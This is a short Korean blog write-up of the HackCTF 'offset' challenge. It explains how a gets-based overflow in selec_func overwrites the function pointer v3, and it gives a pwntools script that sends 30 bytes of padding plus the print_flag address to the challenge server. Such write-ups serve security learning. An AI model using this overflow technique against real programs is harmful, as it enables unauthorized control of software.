상세 컨텐츠

본문 제목

[HackCTF] offset

SYSTEM HACKING/HackCTF

by koharin 2020. 1. 1. 17:26

본문

728x90
반응형

1. 보호기법 확인

 

 

2. 코드 확인

 

gets 함수로 입력받는다.

따라서 sendline으로 payload를 엔터를 포함해서 전달해야 FLAG가 바로 따진다.

 

 

selec_func에서 src에서 dest로 복사를 하는데, srcmains이고 sfp에서 0x27바이트 떨어진 위치, destsfp에서 0x2c 떨어진 위치에 있다.

destsrc보다 0x3 바이트 더 앞에 있다.

그리고 selec_func 함수 마지막에 return v3()를 하는데, v3가 가리키는 곳을 print_flag로 바꾸면 return print_flag가 실행될 수 있을 것이다.

그럼 dest에 복사됐을 때 v3를 정확하게 print_flag 함수 주소로 덮으면 되는데, 그 앞의 dummy를 얼마를 줘냐 하느냐가 문제다. 근데 간단하게 생각해보면, src+27바이트 위치에 v3가 위치하는데 destsrc보다 3바이트 앞에 있다. 따라서 dest 기준 30바이트 뒤에 v3가 위치하므로 src30바이트의 더미 뒤에 print_flag 함수 주소를 주면 dest에 복사될 때 30바이트의 더미, 그리고 print_flag주소가 덮히는데 그 print_flag 함수 주소가 덮히는 위치가 v3일 것이다.

 

3. exploit code

 

#!/usr/bin/python
from pwn import *

#p = process("./offset")
p = remote("ctf.j0n9hyun.xyz", 3007)
elf = ELF("./offset")
print_flag = elf.symbols['print_flag']

pay = 'A'*30 + p32(print_flag)

p.sendline(pay)

p.interactive()          

 

4. exploit

 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] RTL_World  (0) 2020.01.02
[HackCTF] BOF_PIE  (0) 2020.01.01
[HackCTF] Simple_Overflow_ver_2  (0) 2020.01.01
[HackCTF] x64 Simple_size_BOF  (0) 2020.01.01
[HackCTF] x64 Buffer Overflow  (0) 2020.01.01

관련글 더보기